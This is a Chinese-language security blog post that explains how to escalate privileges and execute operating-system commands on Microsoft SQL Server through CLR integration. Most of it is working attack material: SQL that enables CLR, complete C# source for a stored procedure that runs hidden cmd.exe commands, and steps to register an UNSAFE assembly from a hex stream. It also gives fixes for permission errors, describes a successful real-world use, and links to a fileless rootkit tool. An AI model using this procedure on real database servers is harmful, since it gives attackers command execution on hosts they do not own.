在MSSQL中使用CLR组件提权

阅读量    52302 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

(一)CLR介绍

Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成
CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等
大概意思就是,利用CRL组件我们可以在SQ Server数据库上执行任意C#代码

 

(二)利用前提

  • SQL Server上能启用CLR组件并可以创建自定义存储过程
  • SQL Server当前账号具有执行命令和代码所需要的权限

 

(三)利用过程

当前环境:SQL Server2008、.NET Framework3.5、Visual Studio
(1)配置SQL Server CLR
开启:

--开启所有服务器配置
sp_configure 'show advanced options', 1; 
RECONFIGURE WITH override 
GO 
--开启 CLR
sp_configure 'clr enabled', 1; 
RECONFIGURE WITH override 
GO

关闭:

--关闭所有服务器配置
sp_configure 'show advanced options', 0; 
RECONFIGURE WITH override 
GO 
--关闭 CLR
sp_configure 'clr enabled', 0; 
RECONFIGURE WITH override 
GO

(2)CLR Function
打开Visual Studio新建SQL server项目

添加SQL CLR C# 存储过程

写入代码

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

运行后

(3)注册CLR程序集
注册程序集的方式有以下两种:

  • 通过指定程序集DLL路径
CREATE ASSEMBLY UserDefinedClrAssembly 
--AUTHORIZATION sa        --指定数据库所有者,默认为当前用户
FROM 'C:\Users\Administrator\Desktop\CLR Assembly\UserDefinedSqlClr.dll'        --指定文件路径
WITH PERMISSION_SET = UNSAFE;        --指定程序集的权限
  • 通过文件十六进制流
CREATE ASSEMBLY UserDefinedClrAssembly 
--AUTHORIZATION sa        --指定数据库所有者,默认为当前用户
FROM 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000    --指定DLL的16进制文件流(当然没这么少,我删掉了)
WITH PERMISSION_SET = UNSAFE;        --指定程序集的权限

此处使用第二种方式,利用文件十六进制写入数据库运行

(4)创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

(5)执行命令

exec dbo.ExecCommand "whoami";

实战也成功了!

 

(四)进阶用法

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

 

(五)踩坑总结

  • SQLserver版本对应的.NET Framework框架版本,本地测试使用的SQL Server2008数据库 对应的.NET Framework框架必须是3.0、3.5,否则生成的16进制程序集放入SQL语句中报错
  • 程序集权限不足或提示使用sp_add_trusted_assembly 信任程序集

    执行: ALTER DATABASE databasename SET TRUSTWORTHY ON
  • 数据库所有者 SID 不同

    执行:Sp_changedbowner ‘sa’,true
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多